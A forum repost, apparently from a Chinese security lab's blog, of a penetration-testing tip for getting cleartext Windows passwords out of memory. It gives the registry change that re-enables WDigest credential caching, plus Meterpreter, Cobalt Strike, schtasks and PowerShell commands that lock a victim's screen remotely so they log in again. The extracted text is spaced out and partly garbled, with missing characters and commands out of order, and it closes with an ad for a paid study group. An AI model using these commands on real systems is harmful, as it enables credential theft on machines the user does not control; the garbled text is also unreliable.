搜索

[27281] 2021-06-30_抓取内存口令一个小技巧

文档创建者：s7ckTeam
浏览次数：1
最后更新：2025-01-19
2021-06-30_抓取内存口令一个小技巧 抓 取 内 存 口 令 一 个 小 技 巧 原 创   徐 哥   M s 0 8 0 6 7 安 全 实 验 室   2 0 2 1 - 0 6 - 3 0 收 录 于 话 题 # 内 网 安 全   , 8 # 渗 透 小 技 巧   , 8 本 文 作 者 ： 掉 到 鱼 缸 里 的 猫 掉 到 鱼 缸 里 的 猫 （ M s 0 8 0 6 7 内 网 安 全 小 组 成 员 ） 文 章 来 源 ｜ 文 章 来 源 ｜ M S 0 8 0 6 7   内 网 安 全 知 识 内 网 安 全 知 识 星 球 星 球 内 网 纵 横 四 海 内 网 纵 横 四 海     认 准 认 准 M s 0 8 0 6 7 1 . 理 论 理 论 学 过 徐 老 师 《 内 网 安 全 攻 防 ： 渗 透 测 试 实 战 指 南 》 第 五 章 的 伙 伴 都 知 道 ， 巨 硬 为 了 防 密 码 在 内 存 中 以 明 形 式 泄 露 ， 发 布 了 K B 2 8 7 1 9 9 7 补 丁 ， 来 关 闭 W i n 7 和 0 8 的 W d i g e s t 功 能 ， 同 时 S e r v e r 2 0 1 2 版 以 上 默 认 关 闭 该 功 能 ， 但 是 仍 然 可 以 通 过 修 改 注 册 表 的 法 来 动 开 启 。 修 改 后 只 要 重 新 登 录 就 可 以 抓 取 其 明 令 ， 但 是 这 就 存 在 个 问 题 ： 如 果 图 省 事 直 不 下 线 、 不 锁 屏 ， 或 者 规 定 的 测 试 时 间 很 短 ， 需 要 在 短 时 间 内 获 取 明 令 ， 没 有 登 录 为 ， 那 么 抓 密 码 也 就 从 谈 起 。 如 果 他 不 锁 屏 ， 那 就 帮 他 锁 屏 ： C M D 版 本 ： P o w e r S h e l l 版 本 ： r e g   a d d   H K L M S Y S T E M C u r r e n t C o n t r o l S e t C o n t r o l S e c u r i t y P r o v i d e r s W D i g e s t   / v U s e L o g o n C r e d e n t i a l   / t   R E G _ D W O R D   / d   1   / f r u n d l l 3 2 . e x e   u s e r 3 2 . d l l , L o c k W o r k S t a t i o n
2 . 测 试 测 试 原 本 以 为 凡 是 远 程 执 命 令 就 可 以 达 到 标 ， 但 是 经 过 测 试 后 才 发 现 现 实 很 感 ， 测 试 了 计 划 任 务 、 w m i c 、 w i n r m 、 p s e x e c 、 M S F   M e t e r p r e t e r 、 C o b a l t   S t r i k e   b e a c o n 五 种 远 程 执 法 ， 仅 有 M S F 和 C S 的 可 以 达 到 想 要 的 效 果 。 2 . 1   计 划 任 务 计 划 任 务 1 .   使   s c h t a s k s   ： 如 果 想 要 锁 定 其 他 ， 可 以 修 改   / R U   参 数 为 指 定 。 2 .   A t   命 令 没 有 成 功 ： i n t e r a c t i v e   这 个 参 数 在 w i n 7 下 已 经 法 使 ， 如 果 不 加 改 参 数 ， 则 会 以 S Y S T E M   份 运 ， 并 不 会 影 响 当 前 。 2 . 2 M S F 1 .   直 接 利 m e t e r p r e t e r 的 s h e l l 功 能 ， 获 取 个 标 的 交 互 式 窗 ， 执   r u n d l l 3 2 . e x e u s e r 3 2 . d l l , L o c k W o r k S t a t i o n   即 可 锁 定 当 前 。 2 .   使   e x e c u t e   ： 3 .   利 p o w e r s h e l l 插 件 ， 执 p o w e r s h e l l 脚 本 也 可 以 ： 将 p o w e r s h e l l 脚 本 保 存 在 M S F 本 地 ， 利   p o w e r s h e l l _ i m p o r t   导 ， 使 p o w e r s h e l l _ e x e c u t e   执 。 F u n c t i o n   L o c k - W o r k S t a t i o n   { $ s i g n a t u r e   =   @ " [ D l l I m p o r t ( " u s e r 3 2 . d l l " ,   S e t L a s t E r r o r   =   t r u e ) ] p u b l i c   s t a t i c   e x t e r n   b o o l   L o c k W o r k S t a t i o n ( ) ; " @ $ L o c k W o r k S t a t i o n   =   A d d - T y p e   - m e m b e r D e f i n i t i o n   $ s i g n a t u r e   - n a m e " W i n 3 2 L o c k W o r k S t a t i o n "   - n a m e s p a c e   W i n 3 2 F u n c t i o n s   - p a s s t h r u $ L o c k W o r k S t a t i o n : : L o c k W o r k S t a t i o n ( )   |   O u t - N u l l } s c h t a s k s   / c r e a t e   / t n   " l o c k "   / t r   " r u n d l l 3 2 . e x e   u s e r 3 2 . d l l ,   L o c k W o r k S t a t i o n "   / s c o n c e   / s t   1 9 : 2 4   / S   t a r g e t   / R U   a d m i n i s t r a t o r   / u   a d m i n i s t r a t o r   / p   " p a s s w o r d " a t   d c 1 6   1 2 : 0 0   / i n t e r a c t i v e   c : w i n d o w s s y s t e m 3 2 r u n d l l 3 2 . e x e   " u s e r 3 2 . d l l , L o c k W o r k S t a t i o n " 警 告 :   由 于 有 安 全 增 强 功 能 ， 此 任 务 将 在 预 期 时 间 运 行 ， 但 不 以 交 互 方 式 运 行 。 如 果 要 求 交 互 式 任 务 ， 则 使 用   s c h t a s k s . e x e   实 用 程 序 ( 使 用   " s c h t a s k s   / ? "   命 令 获 取 详 细 信 息 ) 。 m e t e r p r e t e r   >   e x e c u t e   - f   r u n d l l 3 2 . e x e   - a   " u s e r 3 2 . d l l , L o c k W o r k S t a t i o n " m e t e r p r e t e r   >   l o a d   p o w e r s h e l l m e t e r p r e t e r   >   p o w e r s h e l l _ i m p o r t   / h o m e / k a l i / D e s k t o p / l o c k . p s 1
4 .   如 果 想 要 锁 定 其 他 ： 可 以 使   m i g r a t e   命 令 迁 移 到 指 定 的 进 程 中 去 ， 利 上 述 法 即 可 锁 定 。 2 . 3   C o b a l t   S t r i k e 1 .   获 取 b e a c o n 后 ， 使   r u n   或 者   e x e c u t e   命 令 ： 2 .   利 p o w e r s h e l l ： 3 .   锁 定 其 他 ： 使   i n j e c t   命 令 从 另 外 个 的 进 程 中 派 个 新 的 B e a c o n ， 利 上 述 法 即 可 锁 定 其 他 。 2 . 4   存 在 的 问 题 存 在 的 问 题 1 .   a t 、 w m i c 、 w i n r m 、 P s E x e c 这 种 “ 合 法 ” 具 法 完 成 锁 定 的 操 作 ， 个 分 析 认 为 是 以 为 他 们 三 个 执 后 会 在 新 的 作 站 中 创 建 进 程 并 执 ， 法 影 响 到 所 在 的 “ W i n s t a 0 ” 作 站 ； M S F 、 C S 这 种 通 过 远 控 可 以 达 到 预 期 效 果 ， 是 因 为 执 的 进 程 是 从 本 就 在 “ W i n s t a 0 ” 作 站 中 的 客 端 进 程 派 出 来 。 2 .   个 认 为 C S 中 的   r u n u   指 令 应 该 也 可 以 直 接 锁 定 其 他 ， 但 是 没 有 测 试 成 功 ， 还 希 望 了 解 的 佬 指 点 。 帮 助 说 “ 可 以 使 指 定 的 P I D 作 为 进 程 ” ， 在 当 前 的 P I D 可 以 正 常 执 命 令 ， 但 是 使 其 他 的 就 会 出 现 问 题 ： 标 P I D 虽 然 会 创 建 进 程 ， 但 是 提 “ P a t h :   [ E r r o r   o p e n i n g   p r o c e s s ] ” ， 同 时 当 前 会 弹 出 “ 程 序 法 正 常 启 动 ” 的 错 误 。 m e t e r p r e t e r   >   p o w e r s h e l l _ i m p o r t   / h o m e / k a l i / D e s k t o p / l o c k . p s 1 m e t e r p r e t e r   >   p o w e r s h e l l _ e x e c u t e   L o c k - W o r k S t a t i o n b e a c o n >   r u n   r u n d l l 3 2 . e x e   u s e r 3 2 . d l l , L o c k W o r k S t a t i o n b e a c o n >   e x e c u t e   r u n d l l 3 2 . e x e   u s e r 3 2 . d l l , L o c k W o r k S t a t i o n b e a c o n >   p o w e r s h e l l - i m p o r t   / h o m e / k a l i / D e s k t o p / l o c k . p s 1 b e a c o n >   p o w e r s h e l l   L o c k - W o r k S t a t i o n
目 前 有 目 前 有 4 0 0 0 多 位 同 学 在 知 识 星 球 和 我 们 一 起 学 习 进 步 ， 我 们 等 着 你 入 多 位 同 学 在 知 识 星 球 和 我 们 一 起 学 习 进 步 ， 我 们 等 着 你 入 伙 ！ 伙 ！ 想 白 嫖 的 同 学 可 以 看 这 里 哦 ！ 想 白 嫖 的 同 学 可 以 看 这 里 哦 ！ 扫 描 下 方 二 维 码 加 入 星 球 学 习 扫 描 下 方 二 维 码 加 入 星 球 学 习 加 入 后 邀 请 你 进 入 内 部 微 信 群 ， 内 部 微 信 群 永 久 有 效 ！ 加 入 后 邀 请 你 进 入 内 部 微 信 群 ， 内 部 微 信 群 永 久 有 效 ！     来 和 来 和 4 0 0 0 + 位 同 学 一 起 加 入 星 球 学 习 吧 ！ 位 同 学 一 起 加 入 星 球 学 习 吧 ！
回复

举报

高级模式
B Color Image Link Quote Code Smilies
您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

使用Markdown编辑器编辑 使用富文本编辑器编辑

Archiver| 手机版| 小黑屋|
Powered by Discuz! X3.4 Copyright © 2001-2020, Tencent Cloud. 商业源码建议获取授权，如侵犯您的权益，请联系客服处理